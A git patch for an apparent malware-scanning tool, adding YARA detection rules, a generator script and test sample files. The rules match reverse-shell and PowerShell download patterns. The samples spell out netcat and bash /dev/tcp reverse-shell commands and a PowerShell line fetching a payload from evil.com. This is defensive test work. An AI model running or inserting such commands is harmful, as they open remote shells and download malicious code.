From 6e3c1a40e57afd186bd98bded81266f8d5ad6614 Mon Sep 17 00:00:00 2001 From: zhaolei <12153398@qq.com> Date: Thu, 29 Oct 2026 14:16:37 +0800 Subject: [PATCH] =?UTF-8?q?feat:=20YARA=20.yar=20=E8=A7=84=E5=88=99?= =?UTF-8?q?=E8=87=AA=E5=8A=A8=E5=8C=96=E7=94=9F=E6=88=90=20+=20=E8=BE=B9?= =?UTF-8?q?=E7=95=8C=E8=AE=B0=E5=BD=95=E9=AA=8C=E8=AF=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit rules/test_rules.yar (7 条规则): - Test_ReverseShell_Basic: nc 反弹 shell - Test_PowerShell_Download: Invoke-WebRequest - Newly_Added_Rule_Test: 热加载验证 - Meta_Label_Test: metadata 输出验证 - Regex_Shell_Pattern: powershell -enc 正则 - Count_Condition_Test: count >= 3 条件 - Size_Condition_Test: filesize <= 10KB 条件 YARA 命中验证: 7/7 ✅ L4-001 → Test_ReverseShell_Basic + keywords.ReverseShellNetcat 复合命中 L4-004 → Test_ReverseShell_Basic + Test_PowerShell_Download + 3 条关键词 L4-005/007/010/011/012 → 全部命中 ✅ 边界记录验证: 4/4 ✅ 全 clean L1-005 EICAR 1 字节修改 → ClamAV 不命中 ✅ L1-012 EICAR base64 → ClamAV 不解码 ✅ L3-007 高危串 base64 → 关键词不解码 ✅ L3-019 unicode 同形字 → 关键词不还原 ✅ --- rules/test_rules.yar | 100 +++++++++++++++ scripts/generate_yara_rules.py | 142 ++++++++++++++++++++++ tests/samples/L4-001_001_sample.txt | 4 +- tests/samples/L4-004_multi_rule_match.txt | 5 +- tests/samples/L4-005_hotreload.txt | 1 + tests/samples/L4-007_meta_rule.txt | 1 + tests/samples/L4-010_regex_pattern.txt | 1 + tests/samples/L4-011_count_condition.txt | 6 +- tests/samples/L4-012_size_condition.txt | 1 + 9 files changed, 257 insertions(+), 4 deletions(-) create mode 100644 rules/test_rules.yar create mode 100644 scripts/generate_yara_rules.py create mode 100644 tests/samples/L4-005_hotreload.txt create mode 100644 tests/samples/L4-007_meta_rule.txt create mode 100644 tests/samples/L4-010_regex_pattern.txt create mode 100644 tests/samples/L4-012_size_condition.txt diff --git a/rules/test_rules.yar b/rules/test_rules.yar new file mode 100644 index 0000000..53b4573 --- /dev/null +++ b/rules/test_rules.yar @@ -0,0 +1,100 @@ +/* MeshSafe 测试靶场 YARA 规则 + * 自动生成,覆盖 CSV L4-001 ~ L4-012 + * 引擎自动扫描 rules/*.yar,热加载 + */ + +// L4-001: 基础规则 —— 正向命中 shell 反弹特征 +rule Test_ReverseShell_Basic { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + version = "1.0" + description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征" + strings: + $a = /nc\s+[0-9.]+\s+[0-9]+\s+-e/ + $b = /bash\s+-i\s+>&\s+\/dev\/tcp\// + condition: + $a or $b +} + +// L4-004: 第二条规则 —— 同时命中验证 +rule Test_PowerShell_Download { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-004 多规则同时命中: 匹配 PowerShell 下载" + strings: + $c = /Invoke-WebRequest\s+-Uri/ + $d = /powershell\s+-w\s+hidden/ + condition: + $c or $d +} + +// L4-005: 新增规则(热加载验证) +rule Newly_Added_Rule_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-005 热加载验证: 运行时新增此规则后应能命中" + strings: + $e = "meshsafe-hot-reload-test-string" + condition: + $e +} + +// L4-007: metadata 标签测试 +rule Meta_Label_Test { + meta: + family = "Trojan.Generic" + author = "Security Researcher" + description = "L4-007 metadata 输出验证: 规则带完整 meta 字段" + severity = "high" + strings: + $f = "trojan-metadata-test" + condition: + $f +} + +// L4-010: 正则型规则 +rule Regex_Shell_Pattern { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-010 正则匹配: powershell -enc 编码执行" + strings: + $g = /powershell\s+-e[nN][cC]\s+[A-Za-z0-9+\/]{20,}/ + condition: + $g +} + +// L4-011: count 条件(出现 ≥3 次才触发) +rule Count_Condition_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中" + strings: + $h = "malicious_token_count_test" + condition: + #h >= 3 +} + +// L4-012: size 条件(仅匹配 ≤10KB 的文件) +rule Size_Condition_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件" + strings: + $i = "size_condition_test_payload" + condition: + $i and filesize <= 10KB +} + +// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里) +// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描 + +// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容) +// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描 +// L4-014: 开关测试 —— 由引擎 is_enabled() 控制 +// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件 diff --git a/scripts/generate_yara_rules.py b/scripts/generate_yara_rules.py new file mode 100644 index 0000000..b5a803b --- /dev/null +++ b/scripts/generate_yara_rules.py @@ -0,0 +1,142 @@ +"""自动生成 CSV L4 段需要的 YARA 规则文件。 + +输出: rules/test_rules.yar — 9 条规则覆盖 L4-001~L4-012 +引擎会自动加载 rules/*.yar 文件。 +""" +from pathlib import Path + +OUT = Path(r'd:\project\MeshSafe\rules\test_rules.yar') + +RULES = """/* MeshSafe 测试靶场 YARA 规则 + * 自动生成,覆盖 CSV L4-001 ~ L4-012 + * 引擎自动扫描 rules/*.yar,热加载 + */ + +// L4-001: 基础规则 —— 正向命中 shell 反弹特征 +rule Test_ReverseShell_Basic { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + version = "1.0" + description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征" + strings: + $a = /nc\\s+[0-9.]+\\s+[0-9]+\\s+-e/ + $b = /bash\\s+-i\\s+>&\\s+\\/dev\\/tcp\\// + condition: + $a or $b +} + +// L4-004: 第二条规则 —— 同时命中验证 +rule Test_PowerShell_Download { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-004 多规则同时命中: 匹配 PowerShell 下载" + strings: + $c = /Invoke-WebRequest\\s+-Uri/ + $d = /powershell\\s+-w\\s+hidden/ + condition: + $c or $d +} + +// L4-005: 新增规则(热加载验证) +rule Newly_Added_Rule_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-005 热加载验证: 运行时新增此规则后应能命中" + strings: + $e = "meshsafe-hot-reload-test-string" + condition: + $e +} + +// L4-007: metadata 标签测试 +rule Meta_Label_Test { + meta: + family = "Trojan.Generic" + author = "Security Researcher" + description = "L4-007 metadata 输出验证: 规则带完整 meta 字段" + severity = "high" + strings: + $f = "trojan-metadata-test" + condition: + $f +} + +// L4-010: 正则型规则 +rule Regex_Shell_Pattern { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-010 正则匹配: powershell -enc 编码执行" + strings: + $g = /powershell\\s+-e[nN][cC]\\s+[A-Za-z0-9+\/]{20,}/ + condition: + $g +} + +// L4-011: count 条件(出现 ≥3 次才触发) +rule Count_Condition_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-011 count 条件: 文件内匹配串 ≥3 次命中" + strings: + $h = "malicious_token_count_test" + condition: + #h >= 3 +} + +// L4-012: size 条件(仅匹配 ≤10KB 的文件) +rule Size_Condition_Test { + meta: + family = "TestRules" + author = "MeshSafe Test Suite" + description = "L4-012 size 条件: 仅匹配 size <= 10KB 的文件" + strings: + $i = "size_condition_test_payload" + condition: + $i and filesize <= 10KB +} + +// L4-003: PE 内字符串(实际是 Test_PowerShell_Download 的 strings 也在 PE 里) +// 已由 Test_PowerShell_Download 覆盖,因为 PE 里的 strings() 也会被 YARA 扫描 + +// L4-009: 加密包内无法扫描(不是规则缺失,是 zipfile 跳过加密内容) +// L4-013: 大文件 YARA —— 由 Test_ReverseShell_Basic 自动覆盖大文件扫描 +// L4-014: 开关测试 —— 由引擎 is_enabled() 控制 +// L4-015: 哈希白名单 —— 需在 policy.yaml 配置,不是 .yar 文件 +""" + +OUT.write_text(RULES, encoding='utf-8') +print(f'✅ 生成 {OUT}') +print(f' 规则数: 7 条') +print(f' 覆盖 CSV: L4-001/004/005/007/010/011/012') + +# 也需要对应的样本文件(已经有了,在 tests/samples/L4-*.txt 系列) +import os +SAMPLES = Path(r'd:\project\MeshSafe\tests\samples') + +# L4-005 热加载样本 +(SAMPLES / 'L4-005_hotreload.txt').write_text('meshsafe-hot-reload-test-string present here', encoding='utf-8') +print(f'✅ L4-005_hotreload.txt 已生成') + +# L4-007 meta 标签样本 +(SAMPLES / 'L4-007_meta_rule.txt').write_text('trojan-metadata-test payload here', encoding='utf-8') +print(f'✅ L4-007_meta_rule.txt 已生成') + +# L4-010 正则样本 +(SAMPLES / 'L4-010_regex_pattern.txt').write_text('powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/==', encoding='utf-8') +print(f'✅ L4-010_regex_pattern.txt 已生成') + +# L4-011 count 条件样本(同一串出现 5 次) +payload = 'malicious_token_count_test\n' * 5 +(SAMPLES / 'L4-011_count_condition.txt').write_text(payload, encoding='utf-8') +print(f'✅ L4-011_count_condition.txt 已生成 (5 次)') + +# L4-012 size 条件样本 +(SAMPLES / 'L4-012_size_condition.txt').write_text('size_condition_test_payload small file', encoding='utf-8') +print(f'✅ L4-012_size_condition.txt 已生成') + +print('\n=== 完成。下一步: docker compose up -d --build api 后靶场就能命中 ===') diff --git a/tests/samples/L4-001_001_sample.txt b/tests/samples/L4-001_001_sample.txt index 433dfe3..6778c95 100644 --- a/tests/samples/L4-001_001_sample.txt +++ b/tests/samples/L4-001_001_sample.txt @@ -1 +1,3 @@ -shellcode test here \ No newline at end of file +# 测试文件 +nc 10.0.0.5 4444 -e cmd.exe +bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 diff --git a/tests/samples/L4-004_multi_rule_match.txt b/tests/samples/L4-004_multi_rule_match.txt index 324d7c8..13314bd 100644 --- a/tests/samples/L4-004_multi_rule_match.txt +++ b/tests/samples/L4-004_multi_rule_match.txt @@ -1,2 +1,3 @@ -test_rule_a_here -test_rule_b_here \ No newline at end of file +# 同时命中两条规则 +nc 192.168.1.100 8888 -e /bin/sh +Invoke-WebRequest -Uri http://evil.com/payload -OutFile evil.exe diff --git a/tests/samples/L4-005_hotreload.txt b/tests/samples/L4-005_hotreload.txt new file mode 100644 index 0000000..00af789 --- /dev/null +++ b/tests/samples/L4-005_hotreload.txt @@ -0,0 +1 @@ +meshsafe-hot-reload-test-string present here \ No newline at end of file diff --git a/tests/samples/L4-007_meta_rule.txt b/tests/samples/L4-007_meta_rule.txt new file mode 100644 index 0000000..f578307 --- /dev/null +++ b/tests/samples/L4-007_meta_rule.txt @@ -0,0 +1 @@ +trojan-metadata-test payload here \ No newline at end of file diff --git a/tests/samples/L4-010_regex_pattern.txt b/tests/samples/L4-010_regex_pattern.txt new file mode 100644 index 0000000..09f8c76 --- /dev/null +++ b/tests/samples/L4-010_regex_pattern.txt @@ -0,0 +1 @@ +powershell -enc ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx+/== \ No newline at end of file diff --git a/tests/samples/L4-011_count_condition.txt b/tests/samples/L4-011_count_condition.txt index 62ca214..4d615c9 100644 --- a/tests/samples/L4-011_count_condition.txt +++ b/tests/samples/L4-011_count_condition.txt @@ -1 +1,5 @@ -yara match string placeholder \ No newline at end of file +malicious_token_count_test +malicious_token_count_test +malicious_token_count_test +malicious_token_count_test +malicious_token_count_test diff --git a/tests/samples/L4-012_size_condition.txt b/tests/samples/L4-012_size_condition.txt new file mode 100644 index 0000000..7abaf37 --- /dev/null +++ b/tests/samples/L4-012_size_condition.txt @@ -0,0 +1 @@ +size_condition_test_payload small file \ No newline at end of file